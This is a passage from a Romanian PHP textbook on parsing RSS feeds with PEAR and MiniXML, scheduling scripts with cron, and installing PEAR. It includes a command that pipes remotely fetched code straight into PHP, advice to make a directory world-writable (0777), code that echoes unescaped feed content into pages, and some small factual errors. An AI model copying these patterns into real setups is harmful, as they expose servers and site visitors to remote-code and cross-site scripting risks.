sã instalaþi pachetul respectiv (vezi anexa A, „Instalarea pachetelor PEAR”):
pear install -o XML_RSS
Creaþi subdirectorul pear ºi fiºierul parser_rss.php, care va conþine codul din listing-ul
9.7. Copiaþi în directorul pear fiºierul lens.gif.
270 PROGRAMAREA ÎN PHP

9.7. Fiºierul parser_rss.php


<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<body>
<?php
// Este necesar pachetul PEAR XML_RSS
require_once ”XML/RSS.php”;
// Definirea stilurilor CSS
$headline_style=”font-family: tahoma; font-size: 16 px;
color: red”;
$date_style=”font-family: tahoma; font-size: 12 px”;
$desc_style=”font-family: tahoma; font-size: 12 px;
font-style: italic”;
// URL feed
$feed =”http://127.0.0.1/rss/articles/rss.php?limit=3”;
//Se creeaza un procesor RSS PEAR
$rss =& new XML_RSS($feed);
// Se proceseaza feed-ul RSS
$rss->parse();
// Se extrag si se afiseaza itemii
foreach ($rss->getItems() as $item) {
// Titlul itemului
$headline = ”<img src=’lens.gif’>
<a href=\”{$item[’link’]}\”>{$item[’title’]}</a>”;
// Data publicarii itemului
$date = ”{$item[’pubdate’]}”;
// Descrierea itemului
$desc = ”{$item[’description’]}”;
// Se afiseaza itemul
echo ”<span style=’”.$headline_style.”’>”.$headline.
”</span><br />
<span style=’”.$date_style.”’>”.$date.
”</span><br />
<span style=’”.$desc_style.”’>”.$desc.
”</span><br /><br />”;
}
?>
</body>
</html>

Executaþi fiºierul parser_rss.php (http://127.0.0.1/rss/pear/parser_rss.php).


Rezultatul va fi similar cu cel prezentat în continuare:
PHP ªI RSS 271

PEAR: procesor RSS

Procesor RSS
cu PEAR XML_RSS

Procesor RSS cu MiniXML


La adresa http://minixml.psychogenic.com/index.html gãsiþi aplicaþia MiniXML. Aceasta
este un set de clase PHP care furnizeazã o interfaþã pentru manipularea documentelor
XML ºi a elementelor acestora. Descãrcaþi aplicaþia în subdirectorul minixml al direc-
torului rss. În listing-ul 9.8 este prezentat un procesor RSS 2.0 care foloseºte clasele
PHP incluse în aplicaþia MiniXML. Salvaþi acest script în fiºierul minixml.php. Este
necesar ca în directorul minixml sã aveþi, pe lângã fiºierul minixml.php, fiºierul
minixml.inc.php, subdirectorul classes (care fac parte din aplicaþia miniXML) ºi fiºierul
articles.rss (pe care îl copiaþi din subdirectorul articles al directorului rss). Subdirectorul
classes trebuie sã conþinã patru fiºiere (acestea sunt doc.inc.php, element.inc.php,
node.inc.php ºi treecomp.inc.php).

9.8. Fiºierul minixml.php


<?php
require(”minixml.inc.php”);
$xmlDoc = new MiniXMLDoc();
$xmlDoc->fromString(file_get_contents(’articles.rss’));
$all_articles=$xmlDoc->toArray();
echo ”<p style=’font-family: tahoma; font-weight: bold;
font-size: 16px;’>”.
$all_articles[”rss”][”channel”][”title”].”</p>”;
foreach($all_articles[”rss”][”channel”][”item”] as $item) {
if(is_array($item)){
echo ”<table border=0><tr><td style=’font-family: tahoma;
color: red; font-size: 14px;’>”.
html_entity_decode($item[”title”]).
”</td></tr><tr><td style=’font-family: tahoma;
color: blue; font-size: 12px;’>”.
272 PROGRAMAREA ÎN PHP

html_entity_decode($item[”description”]).
”</td></tr><tr><td style=’font-family: tahoma;
font-size: 12px;’>
(<a href=’”.html_entity_decode($item[”link”])).
”’>citeste ...</a>)
</td></tr></table>”;
}
}
?>

Prototipul funcþiei PHP html_entity_decode() este urmãtorul:


string html_entity_decode (string string [,int quote_style
[, string charset]])
Aceastã funcþie converteºte toate entitãþile XHTML din ºirul string în caracterele
corespunzãtoare. Funcþia care realizeazã sarcina opusã este htmlentities() . Para-
metrul opþional quote_style permite programatorului sã precizeze cum vor fi inter-
pretate ghilimelele simple ºi, respectiv, cele duble, având ca valoare una dintre urmãtoarele
trei constante: ENT_COMPAT (va converti ghilimelele duble ºi le va lãsa neschimbate pe
cele simple), ENT_QUOTES (va converti ambele tipuri de ghilimele) ºi ENT_NOQUOTES
(va lãsa neconvertite ambele tipuri de ghilimele). Valoarea implicitã a acestui parametru
este ENT_COMPAT. Al doilea parametru opþional – charset – permite specificarea
setului de caractere utilizat pentru conversie. Valoarea implicitã a acestui parametru este
ISO-8859-1. Dacã setul de caractere precizat nu este recunoscut, va fi utilizatã valoarea
implicitã. Exemple: entitatea &lt; va fi convertitã în <, entitatea &gt; în >, iar
entitatea &quot; va fi convertitã în ” (dacã parametrul quote_style are valoarea
implicitã sau ENT_QUOTES).
Utilizând PHP, pot fi procesate feed-uri RSS locale sau externe. În exemplul furnizat
în listing-ul 9.8 este procesat un feed local. Executaþi fiºierul minixml.php (http://
127.0.0.1/rss/minixml/minixml.php). Veþi obþine un rezultat similar cu:
miniXML: parser RSS

Procesor RSS
cu miniXML
PHP ªI RSS 273

Puteþi utiliza URL-ul unui feed RSS extern ca argument al metodei fromString().
De exemplu, dacã URL-ul este http://www.webservices.org/index.php/ws/rss/feed/
latestlinks, trebuie sã introduceþi în script:
$xmlDoc->fromString(file_get_contents(
’http://www.webservices.org/index.php/ws/rss/feed/latestlinks’));

MiniXML: procesor RSS

Feed-ul RSS cu adresa http://www.webservices.org/index.php/ws/rss/feed/latestlinks


publicã informaþii despre cele mai recente 15 articole postate pe situl WebServices.org
(http://www.webservices.org).
274 PROGRAMAREA ÎN PHP

CAPITOLUL 10

PHP ºi cron
„Nu-i de ajuns sã faci binele, mai trebuie sã-l faci ºi bine!”
Diderot

În acest capitol veþi învãþa sã planificaþi execuþia scripturilor


PHP de cãtre daemonul cron, prin intermediul tabelelor cron.

Cele mai multe scripturi PHP sunt executate în momentul în care un utilizator
acceseazã pagina Web corespunzãtoare. Aceste vizite nu pot fi planificate… În calitate de
administrator Web, probabil cã aþi simþit necesitatea execuþiei anumitor scripturi PHP în
mod regulat, independent de existenþa unor vizitatori. Scopurile pentru care este necesarã
execuþia regulatã a unor scripturi pot fi: actualizarea sitului, eliminarea unor fiºiere a
cãror prezenþã nu mai este necesarã, trimiterea unor mesaje de e-mail în mod regulat
(e.g., newsletter), efectuarea operaþiei de backup ºi altele.
O soluþie ar fi sã iniþiaþi chiar dumneavoastrã execuþia scripturilor respective, prin
intermediul browserului (cu condiþia ca aceste scripturi sã fie conþinute în directoarele ºi
subdirectoarele sitului). Este clar cã aceastã soluþie nu este eficientã, fiind, de multe ori,
hilarã… În cele ce urmeazã vã vom prezenta o soluþie mult mai elegantã.
Sistemele UNIX/Linux pun la dispoziþia utilizatorilor un instrument deosebit de util
de planificare în timp a proceselor rulate, reprezentat de daemonul cron (numit crond).
În sistemele Windows, echivalentul acestuia se numeºte Scheduled Tasks.

Fiºiere crontab
Daemonul cron foloseºte fiºiere de control numite tabele cron sau fiºiere crontab.
Utilizatorul root îºi poate organiza sarcinile administrative în douã grupe:
• sarcini administrative obiºnuite, care trebuie executate la intervale regulate de timp;
• sarcini specializate, care trebuie executate la un anumit moment de timp.
Sarcinile specializate pot fi executate ca intrãri în fiºierul /etc/crontab (la care are
acces numai utilizatorul root). Sarcinile specializate sunt organizate în directoare cron
speciale. Aceste directoare sunt:
• /etc/cron.hourly (pentru sarcini executate în fiecare orã);
• /etc/cron.daily (pentru sarcini executate în fiecare zi);
PHP ªI CRON 275

• /ec/cron.weekly (pentru sarcini executate în fiecare sãptãmânã);


• /etc/cron.monthly (pentru sarcini executate lunar);
• /etc/cron.yearly (pentru sarcini executate anual).
Fiecãrui utilizator îi corespunde un fiºier crontab personal. Pe sistemele Linux Red
Hat, fiºierele crontab ale utilizatorilor sunt localizate în directorul cron:
/var/spool/cron
Un fiºier crontab poartã numele utilizatorului (user name). Astfel, dacã numele
utilizatorului este traian, atunci fiºierul crontab se va numi traian:
/var/spool/cron/traian
În esenþã, un fiºier crontab este un tabel cronologic în care fiecare linie
corespunde unei intrãri. O intrare în fiºierul crontab specificã informaþii refe-
ritoare îndeplinirea unei sarcini (de exemplu, execuþia unui script sau a unei
comenzi). Aceste sarcini se numesc cron jobs (sarcini cron).
Fiecare intrare trebuie specificatã într-un mod acceptat de cãtre daemonul cron. Dacã
o intrare este specificatã în mod incorect, daemonul cron nu va executa sarcina cores-
punzãtoare. O linie care începe cu caracterul # (diez) este tratatã drept comentariu.

Comanda crontab
Nu trebuie sã editaþi fiºierele crontab direct. În acest scop, folosiþi comanda crontab .
Daemonul cron examineazã fiºierele crontab ale utilizatorilor numai la iniþializare.
Atunci când faceþi schimbãri în fiºierul crontab personal folosind comanda crontab, un
mesaj care indicã schimbarea este trimis daemonului cron.
Pentru mãrirea securitãþii, poate fi interzisã folosirea comenzii crontab unor
utilizatori sau tuturor utilizatorilor (cu excepþia utilizatorului root). În acest scop, sunt
folosite fiºierele cron.deny ºi cron.allow:
/etc/cron.allow
/etc/cron.deny
Utilizatorul root poate crea, edita sau ºterge aceste fiºiere. Intrãrile în cele douã
fiºiere sunt numele de utilizator (user name), câte unul pe o linie. În exemplul urmãtor
puteþi analiza un posibil conþinut al fiºierului cron.allow:
root
traian
irina
george
Cele douã fiºiere sunt examinate atunci când este invocatã comanda crontab. Dacã
numele utilizatorului se aflã în fiºierul cron.allow, comanda crontab poate fi executatã
de cãtre acesta. Dacã fiºierul cron.allow existã, numele utilizatorului root trebuie sã
aparã în acest fiºier.
Dacã administratorul de sistem doreºte sã interzicã în mod explicit unui utilizator sã
utilizeze comanda crontab, o poate face introducând numele de utilizator al acestuia în
fiºierul cron.deny.
276 PROGRAMAREA ÎN PHP

Dacã fiºierul cron.allow nu existã ºi numele utilizatorului nu se aflã în fiºierul


cron.deny, comanda crontab poate fi folositã de asemenea. Dacã existã numai fiºierul
cron.deny vid, toþi utilizatorii pot folosi aceastã comandã. Dacã nici unul dintre cele
douã fiºiere nu existã, numai utilizatorul root poate folosi comanda crontab .
Rezultã cã un utilizator nu poate folosi comanda crontab în oricare dintre situaþiile
urmãtoare:
• fiºierele cron.allow ºi cron.deny nu existã (în acest caz, numai utilizatorul root poate
folosi comanda);
• fiºierul cron.allow existã, dar numele utilizatorului nu este inclus în acesta;
• fiºierul cron.deny existã ºi numele utilizatorului este inclus în acesta.
Comanda crontab este utilizatã astfel:
#crontab [-e [-u username] | -l [-u username] | -r [- u username]
| file]
Argumentele -e, -l ºi -r indicã urmãtoarele operaþii efectuate asupra fiºierului
crontab al utilizatorului curent:
• -e (edit) editeazã fiºierul folosind editorul implicit (care poate fi vi), precizat prin
variabila de mediu EDITOR. Dupã finalizarea editãrii, acesta este instalat ca fiºier
crontab al utilizatorului curent în directorul cron. Dacã în acest director existã deja
un fiºier crontab, el va fi suprascris;
• -l (list) afiºeazã conþinutul fiºierului;
• -r (remove) ºterge fiºierul din directorul crontab.
Numele de utilizator (precizat ca -u username) poate fi folosit ca argument opþional
de cãtre proprietarul fiºierului crontab sau de cãtre root. Dacã nu este specificat un nume
de utilizator, comanda va acþiona asupra fiºierului crontab al utilizatorului curent.
Se observã cã utilizatorul root poate accesa (pentru editare, listare sau ºtergere)
fiºierul crontab al oricãrui utilizator. Dacã username este invalid, este generat un mesaj
de eroare.
În ceea ce priveºte aspectele legate de securitate, trebuie observat cã numai pro-
prietarul fiºierului crontab sau utilizatorul root pot folosi username urmat de opþiunile
-e, -l ºi -r pentru a-l edita, lista sau ºterge.
Comanda crontab poate fi invocatã având ca argument un nume de fiºier ( file). În
acest caz, ea înlocuieºte conþinutul fiºierul crontab existent cu cel al fiºierului file.
Conþinutul fiºierului file trebuie sã fie în formatul pe care daemonul cron îl aºteaptã.
Dacã fiºierul crontab al utilizatorului nu existã, va fi creat un astfel de fiºier, conþinutul
acestuia fiind identic cu cel al fiºierului file. Dacã fiºierul file nu existã, comanda va
invoca editorul implicit.

Intrãri cron
Fiºierul crontab conþine câte o intrare pentru fiecare sarcinã cron. Intrãrile sunt separate
prin caracterul newline. Fiecare intrare conþine ºase câmpuri obligatorii, separate prin
spaþii sau prin caracterul tab, în ordinea urmãtoare:
minute hour day_of_month month weekday job
PHP ªI CRON 277

Conþinutul primelor cinci câmpuri precizeazã informaþii referitoare la data ºi momentul


execuþiei sarcinii:
• minute – minutul din orã (între 0 ºi 59);
• hour – ora din zi (între 0 ºi 23);
• day_of_month – ziua din lunã (între 0 ºi 31);
• month – luna din an (între 1 ºi 12 );
• weekday – ziua din sãptãmânã (între 0 – duminic㠖 ºi 6 – sâmbãtã).
Conþinutul oricãruia dintre primele cinci câmpuri poate fi precizat într-unul dintre
modurile urmãtoare:
• ca un numãr în domeniul precizat;
• ca un subdomeniu de numere inclus în domeniul precizat (de exemplu, 5-10);
• ca o listã de valori (incluse în domeniul precizat) separate prin virgulã, de exemplu,
1,3,5;
• un asterisc (* ), care þine locul oricãrui numãr din domeniul precizat;
• un asterisc cu o valoare (de exemplu, */20; dacã acesta este conþinutul primului
câmp, aceasta înseamnã cã scriptul sau comanda vor fi executate din douãzeci în
douãzeci de minute).
Al ºaselea câmp (job) precizeazã comanda sau numele scriptului care urmeazã a fi
executat. La cele ºase câmpuri obligatorii mai pot fi adãugate (în continuare) alte douã
câmpuri opþionale:
• fiºierul-jurnal (log file), care trebuie precizat cu prefixul >>;
• fiºierul-jurnal pentru consemnarea erorilor (error log file), care trebuie precizat cu
prefixul >>2 .
În continuare sunt prezentate exemple de posibile intrãri într-un fiºier crontab. În
primele douã, directorul projects este arhivat în fiecare zi lucrãtoare a sãptãmânii, la ora
2 A.M. (în fiºierul crontab este prezent ºi un comentariu):
# Weekly backup for Traian’s projects
0 2 * * 1-5 tar cf /home/ backp /home/projects
0 2 * * Mon-Fri tar cf /home/backp /home/projects
În urmãtoarele douã exemple, directorul projects este arhivat la ora 2 A.M., în zilele
de duminicã, miercuri ºi vineri.
0 2 * * 0,3,5 tar cf /home/backp /home/projects
0 2 * * Sun,Wed,Fri tar cf /home/backp /home/projects
Iatã un exemplu în care puteþi analiza o intrare crontab completã (în care sunt
prezente toate cele opt câmpuri, inclusiv cele douã câmpuri opþionale):
0 * * * * php -q path/cron.php >>path/cron.log 2>>path/cron.err
În exemplul anterior, scriptul cron.php este executat din orã în orã, iar path este
calea cãtre acest script, pornind de la directorul-rãdãcinã al utilizatorului (la care are
acces prin FTP, de exemplu).
Existã posibilitatea definirii unor variabile de mediu, care vor fi utilizate în execuþia
sarcinilor. Sistemul permite definirea variabilelor SHELL, PATH, HOME ºi MAILTO. SHELL
desemneazã shell-ul utilizat pentru execuþia sarcinilor (de multe ori, acesta este bash).
278 PROGRAMAREA ÎN PHP

PATH desemneazã lista directoarelor (elementele listei sunt separate prin caracterul „ : ”)
în care pot fi gãsite programele ºi scripturile. HOME este directorul-rãdãcinã pentru
comandã/script. MAILTO aratã cui vor fi trimise rezultatele execuþiei sarcinilor. Implicit,
acestea sunt trimise proprietarului fiºierului crontab, dar pot fi specificaþi ºi alþi desti-
natari, ca, de exemplu, adresa de e-mail a administratorului de sistem. Iatã un exemplu
în care sunt definite cele patru variabile de mediu:
SHELL=/bin/bash
PATH=/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

Utilizând variabila de mediu HOME, intrarea din exemplul anterior se mai poate scrie
astfel:
0 * * * * php -q $HOME/cron.php >>$HOME/cron.log 2>>$HOME/cron.err

Trebuie reþinut cã, utilizând comanda crontab, nu pot fi trimise sistemului sarcini
în mod individual. Cu alte cuvinte, trebuie trimise toate sarcinile în acelaºi timp (în
cursul unei singure operaþii de editare).
Dacã doriþi sã evitaþi pierderea intrãrilor existente într-un fiºier crontab, pentru a
adãuga o sarcinã nouã trebuie sã procedaþi astfel (se presupune cã utilizatorul curent este
traian):
• folosind comanda crontab, listaþi fiºierul crontab în care doriþi sã adãugaþi o nouã
sarcinã, folosind opþiunea -l, ºi redirectaþi acest fiºier în altul, pe care-l puteþi edita
ulterior:
#crontab -l >/tmp/crontab.traian

• editaþi fiºierul obþinut (/tmp/crontab.traian), adãugaþi o nouã linie (care reprezintã


noua sarcinã) în acest fiºier, salvaþi-l ºi executaþi comanda crontab din nou. Omiteþi
opþiunea -l, dar includeþi numele fiºierului:
#crontab crontab.traian

Planificarea execuþiei scripturilor PHP


În legãturã cu execuþia planificatã a scripturilor PHP, sunt utile urmãtoarele observaþii:
• conþinutul celui de-al ºaselea câmp al intrãrii cron trebuie sã fie php -q path/
script.php (este necesar sã precizaþi calea absolutã a scriptului). Parametrul php
-q este necesar pentru execuþia scriptului;
• cele douã fiºiere-jurnal trebuie precizate utilizând cãi absolute;
• dacã doriþi ca pentru precizarea scriptului sã utilizaþi URL-uri, este necesar sã
utilizaþi pachetul wget. Acesta este instalat implicit pe cele mai multe configuraþii.
Pentru a verifica existenþa pachetului wget, tastaþi (într-un sistem RPM, aºa cum sunt
Red Hat ºi Mandrake):
# wget --help
PHP ªI CRON 279

Dacã pachetul wget este instalat, veþi obþine o serie de informaþii legate de acesta.
Wget trebuie invocat împreunã cu URL-ul scriptului care trebuie executat, ca în exemplul
urmãtor:
0 4 * * 1,3,5 wget http://www.example.com/message.php
Dacã situl dumneavoastrã este gãzduit pe un server Linux, probabil cã aveþi la dispoziþie
o aplicaþie cu interfaþã graficã pentru gestionarea lui, care, în multe cazuri poate fi cPanel.
Prin intermediul acestuia puteþi edita fiºierul crontab personal (figura 10.1):

Utilizând cPanel, puteþi


edita fiºierul crontab
personal.

Figura 10.1. cPanel

Faceþi clic pe pictograma Cron jobs. Puteþi opta pentru unul dintre cele douã niveluri:
Standard ºi Advanced (Unix Style).

Puteþi gestiona
fiºierul crontab
personal.

Figura 10.2. Gestionarea intrãrilor din fiºierul crontab personal (Standard)


280 PROGRAMAREA ÎN PHP

Dacã optaþi pentru nivelul Standard, pentru gestionarea intrãrilor din fiºierul crontab
vã este pus la dispoziþie un formular ca în figura 10.2.
Dacã optaþi pentru nivelul Advanced (Unix Style), pentru gestionarea intrãrilor din
fiºierul crontab vã este pus la dispoziþie un formular ca în figura 10.3.

Nivelul Advanced

Figura 10.3. Gestionarea intrãrilor din fiºierul crontab personal (Advanced)

Introduceþi în câmpul Command to run (Standard), respectiv Command (Advanced)


oricare dintre intrãrile urmãtoare (ele sunt echivalente):
php -q /home/user/public_html/file.php
php -q $HOME/public_html/file.php
wget http://www.example.com/file.php
În exemplul anterior, fiºierul file.php trebuie sã fie situat în rãdãcina sitului (Document
Root), adicã în /home/user/public_html, dar, în general, poate fi situat oriunde
doriþi. Acest fiºier poate fi situat chiar ºi în directorul-rãdãcinã la care aveþi acces prin
FTP sau cPanel (adicã /home/user). În acest caz, introduceþi în câmpul Command to
run una dintre variantele urmãtoare:
php -q /home/user/file.php
php -q $HOME/file.php
Dupã efectuarea modificãrilor dorite, puteþi actualiza fiºierul crontab personal efec-
tuând clic pe butonul Save Crontab (Standard), respectiv Commit Changes (Advanced).
PHP ªI CRON 281

ANEXA A

Instalarea pachetelor PEAR


„Pentru orice realizare primul pas este curajul.”
Goethe

În aceastã anexã veþi învãþa cum sã instalaþi ºi sã utilizaþi


managerul de pachete PEAR, atât pe propriul calculator, cât ºi pe
un server la care aveþi acces prin FTP.

PEAR (http://pear.php.net) – adicã PHP Extension and Application Repository –


este un proiect dezvoltat de PEAR Group (http://pear.php.net/group) care furnizeazã
un set de biblioteci open source pentru utilizatorii PHP. Cel mai ambiþios scop al
proiectului a fost încercarea de a defini standarde care sã ajute dezvoltatorii în scrierea
de cod PHP reutilizabil ºi portabil. PEAR poate fi considerat analogul PHP al proiectului
PERL CPAN (Comprehensive Perl Arhive Network, http://www.cpan.org).
Proiectul PEAR, iniþiat de Stig S. Bakken în anul 1999, include un numãr de 35
de categorii (dintre care menþionãm Authentication, Database, File System,
HTML, HTTP, Image, Mail, Payment, PEAR, Streams, System, Text, XML, Web
Services etc.), care conþin împreunã 323 de pachete scrise pentru PHP 4, dar care pot fi
utilizate ºi cu PHP 5.
Dacã doriþi sã evitaþi scrierea de cod PHP, puteþi sã utilizaþi pachetele PEAR pentru
a realiza aplicaþiile dorite, deoarece majoritatea acestor pachete rezolvã probleme comune
întâlnite de utilizatori în cursul dezvoltãrii aplicaþiilor Web. Pachetele PEAR pot fi
reutilizate în aplicaþiile scrise de dumneavoastrã ori de câte ori aveþi nevoie de ele.
Pachetele PEAR sunt proiectate pentru a fi independente de platformã. Din acest
motiv, le puteþi instala pe oricare platformã ce conþine suport PHP, incluzând toate
UNIX-urile moderne, Microsoft Windows ºi Apple Mac OS X.

Instalarea managerului de pachete în sistemul local


Pachetele PEAR nu sunt instalate odatã cu PHP, dar pot fi instalate prin intermediul
managerul de pachete PEAR (PEAR Package Manager). Pe lângã instalarea pachetelor,
acest manager este utilizat ºi în alte scopuri, dintre care menþionãm:
• creeazã noi pachete în sistemul local;
282 ANEXA A

• verificã dependenþele dintre pachete;


• poate interacþiona cu serviciul XML-RPC de la http://pear.php.net pentru a îndeplini
o serie de sarcini.
În aceastã secþiune, precum ºi în urmãtoarea, vom prezenta modalitãþile de instalare ºi
utilizare a managerului de pachete PEAR, pe platforme UNIX/Linux ºi Windows.
Dacã utilizaþi PHP 4.3.0 sau o versiune ulterioarã pe sisteme UNIX/Linux, managerul
de pachete PEAR este deja instalat, cu excepþia situaþiei în care, la instalarea PHP, s-a
folosit opþiunea de omitere a acestuia ( ./configure --without-pear).
Pentru versiunile anterioare 4.3.0 sau dacã doriþi sã instalaþi/reinstalaþi managerul în
sistemul local, utilizaþi (în locul browserului lynx puteþi folosi ºi links) comanda
urmãtoare:
lynx -source http://go-pear.org/ | php

Pentru a instala managerul de pachete PEAR în sistemul local pe platforme Windows


trebuie sã parcurgeþi urmãtorii paºi (se presupune cã PHP este instalat în C:\php):
• executaþi programul de instalare inclus în fiºierul C:\php\go-pear.bat (dublu clic în
Windows Explorer);
• programul de instalare va pune câteva întrebãri; este de preferat sã acceptaþi variantele
implicite de rãspuns;
la sfârºit, adãugaþi calea cãtre PEAR în variabila de mediu PATH. Puteþi face acest lucru
manual (în Windows XP Professional: Start → Control Panel → Performance and
Maintenance → System → Advanced (Environment Variables)) sau executând (dublu clic
în Windows Explorer) fiºierul PEAR_ENV.reg – generat în procesul de instalare a
manangerului de pachete PEAR –, pe care-l gãsiþi în directorul PHP (C:\php);
• în fiºierul php.ini, adãugaþi C:\php\pear în lista de directoare conþinutã în directiva
include_path.

Dupã instalarea managerului de pachete, veþi constata cã în sistem au fost instalate ºi


câteva pachete PEAR, dintre care amintim: Mail, Net_SMTP ºi XML_Parser.
Pentru a actualiza instalarea PEAR, procedaþi astfel:
• introduceþi în browser http://go-pear.org ºi salvaþi ieºirea în fiºierul local go-pear.php
(C:\php\go-pear.php);
• în Windows Command Prompt, executaþi fiºierul go-pear.php:
php go-pear.php

Managerul de pachete poate utiliza mai multe interfeþe cu utilizatorul, numite frontends.
Interfaþa implicitã, instalatã prin execuþia go-pear.bat, este interfaþa în linie de comandã
(CLI – Command Line Interface), a cãrei utilizare o vom prezenta în secþiunea urmãtoare.
De asemenea, pot fi instalate ºi douã interfeþe grafice: una bazatã pe browser ºi alta pe
GTK+.
În secþiunea „Instalarea automatã a pachetelor PEAR prin FTP” a acestei anexe vom
prezenta instalarea ºi utilizarea interfeþei bazate pe browser.
GTK+ (GIMP Tool Kit) a fost dezvoltat iniþial pentru GIMP (GNU Image Manipulation
Program). Astãzi, este utilizat ca parte centralã a proiectului GNOME. GTK+ a fost
portat ºi pe sistemul Windows.
INSTALAREA PACHETELOR PEAR 283

Pentru a putea instala interfaþa PEAR GTK este necesar ca, în prealabil, sã instalaþi
extensia PHP-GTK (http://gtk.php.php), bazatã pe GTK+, care permite scrierea apli-
caþiilor GUI (Graphical User Interface) independente de platformã. Ulterior, instalaþi
pachetul PEAR_Frontend_Gtk, care conþine interfaþa PEAR GTK. Aceastã interfaþã
poate fi pornitã prin comanda pear -G.

Utilizarea managerului de pachete în sistemul local


Procedura descrisã în secþiunea anterioarã instaleazã managerul de pachete PEAR ºi
interfaþa CLI. Pentru a instala un anumit pachet (care nu a fost deja instalat odatã cu
managerul) sau pentru a executa alte operaþii specifice, accesaþi managerul folosind
instrumentul pear (în shell-ul UNIX/Linux sau în Command Prompt-ul din Windows):
pear [options] command [command-options] parameters
Puteþi obþine lista options astfel:
pear help options
Lista comenzilor command o puteþi obþine astfel:
pear
Lista cu formele scurte ale comenzilor o puteþi obþine astfel:
pear help shortcuts
În sfârºit, puteþi obþine informaþii despre o anumitã comandã (inclusiv lista opþiunilor)
astfel:
pear help command
Pentru a instala un anumit pachet PEAR, utilizaþi:
pear install package
Aceastã comandã realizeazã o conexiune HTTP la serverul de pachete PEAR (http://
pear.php.net), descarcã ºi instaleazã pachetul package solicitat ºi verificã dependenþele
PEAR (aceasta înseamnã cã utilizarea corectã a unui pachet poate presupune existenþa în
sistem a unuia sau a mai multor pachete). Dacã este necesar pentru satisfacerea
dependenþelor, vor trebui instalate ºi alte pachete. Puteþi folosi opþiunea -o pentru a
instala automat un pachet împreunã cu toate pachetele impuse de necesitatea satisfacerii
dependenþelor PEAR astfel:
pear install -o package
În absenþa opþiunii -o, în cazul în care pachetul ce trebuie instalat utilizeazã unul sau
mai multe pachete, acestea trebuie instalate în prealabil. Dacã ele nu sunt deja instalate,
pachetul precizat nu va fi instalat nici el. Pentru a evita aceste probleme, folosiþi opþiunea
-o! Lista pachetelor PEAR o gãsiþi la adresa http://pear.php.net/packages.php sau
executând comanda:
pear remote-list
284 ANEXA A

În urma execuþiei comenzii, veþi obþine o listã ordonatã alfabetic, care conþine numele
pachetelor PEAR ºi versiunile acestora.
De exemplu, pentru a instala pachetul XML_RSS, utilizat pentru procesarea feed-urilor
RSS, folosiþi comanda:
pear install -o XML_RSS
Puteþi remarca (figura A.1) faptul cã, pentru satisfacerea dependenþelor PEAR,
instalarea pachetului XML_RSS necesitã instalarea prealabilã a pachetului
XML_Tree, care este realizatã automat utilizând comanda anterioarã.

Instalarea pachetelor
PEAR de pe
http://pear.php.net,
folosind pear

Figura A.1. Instalarea pachetelor PEAR folosind pear

În cazul în care nu dispuneþi de o conexiune la Internet, puteþi instala pachetele


PEAR – cu condiþia sã le aveþi descãrcate în sistem (în directorul PHP) – folosind
comanda:
pear install file.tgz

unde file.tgz este arhiva care conþine pachetul ce trebuie instalat. De exemplu, pentru
instalarea pachetului XML_SVG, utilizat pentru generarea documentelor SVG (Scalable
Vector Graphics), trebuie sã aveþi în directorul PHP arhiva cu numele
XML_SVG-1[1].0.0.1.tgz (care conþine, la data scrierii acestei lucrãri, cea mai recentã
versiune stabilã a pachetului) ºi sã folosiþi comanda:
pear install XML_SVG-1[1].0.0.1.tgz
Dacã nu existã o versiune stabilã a pachetului pe care doriþi sã-l instalaþi, veþi obþine
un mesaj de eroare. Pentru a realiza instalarea pachetului, aveþi la îndemânã douã
metode:
1. Setaþi directiva preferred_state la valorile alpha sau beta ºi apoi efectuaþi instalarea:
pear config-set preferred_state alpha|beta
pear install package
ca exemplul urmãtor:
pear config-set preferred_state beta
pear install OLE

2. Instalaþi direct varianta, astfel:


pear install package-alpha|beta
INSTALAREA PACHETELOR PEAR 285

sau
pear install package-version_number
ca în exemplul urmãtor:
pear install Spreadsheet_Excel_Writer-beta
sau
pear install Spreadsheet_Excel_Writer-0.8

Instalarea automatã a pachetelor PEAR prin FTP


Parcurgeþi aceastã secþiune în situaþia în care:
• situl dumneavoastrã se aflã pe un server care asigurã Web hosting la care nu aveþi
acces direct, ci numai prin FTP;
• serverul asigurã o interfaþã graficã de tip panou de control (de exemplu, cPanel:
http://www.cpanel.net) pentru administrarea sitului.
În aceste condiþii, puteþi sã realizaþi instalarea automatã a pachetelor PEAR, prin
intermediul unei interfeþe bazate pe browserul Web. În secþiunea curentã, precum ºi în
urmãtoarea, vom presupune:
• fiºierele sitului dumneavoastrã se aflã pe server în directorul /home/user/public_html
(user este numele de login pentru acces FTP la fiºierele sitului);
• adresa Web a sitului propriu este http://www.mysite.com.
Este necesar ca, mai întâi, sã instalaþi o aplicaþie (numitã PEAR Installer) similarã cu
managerul de pachete instalat în sistemul local. În acest scop, trebuie sã parcurgeþi
urmãtoarele etape:
• creaþi în /home/user subdirectorul peardir (acesta nu se aflã în spaþiul Web!). Setaþi
permisiunile acestui director la valoarea 0777 (poate fi accesibil pentru citire ºi
scriere oricui);
• creaþi în /home/user/public_html subdirectorul install;
• introduceþi în caseta de adrese a browserului Web http://go-pear.org ºi salvaþi în
sistemul local ieºirea în fiºierul go-pear.php;
• încãrcaþi pe server, în directorul install, fiºierul go-pear.php;
• introduceþi în caseta de adrese a browserului Web http://www.mysite.com/install/
go-pear.php ºi urmaþi instrucþiunile pentru instalare. Atunci când sunteþi întrebat în
care director se va instala PEAR (Installation prefix), alegeþi directorul peardir (creat
anterior).
Dupã parcurgerea acestor etape, puteþi utiliza PEAR Installer introducând în caseta de
adrese a browserului http://www.mysite.com/install.
Este absolut necesar sã protejaþi prin parolã directorul install (autentificare HTTP).
În acest scop, utilizaþi cPanel (Password Protect Directories), în care selectaþi directorul
install. Precizaþi un nume de utilizator, o parolã ºi un nume (fig. A.2) pentru resursa
protejat㠖 de exemplu, PEAR –, nume care va apãrea în caseta de dialog postatã de
browser pentru autentificare.
286 ANEXA A

În continuare, în directorul install, creaþi fiºierul .htaccess cu urmãtorul conþinut:


AuthName ”PEAR”
AuthType Basic
require valid-user
AuthUserFile ”/home/user/.htpasswds/install/passwd”

Crearea unui
utilizator pentru
accesul restrictiv
la PEAR Installer

Figura A.2. Protejaþi aplicaþia PEAR Installer împotriva accesului neautorizat

Este necesar ca la începutul oricãrui script ce utilizeazã un pachet PEAR sã introduceþi


o secvenþã de cod PHP care permite accesul la pachetul necesar, prin actualizarea
directivei include_path (deoarece nu aveþi acces la fiºierul php.ini pentru a o seta
direct):
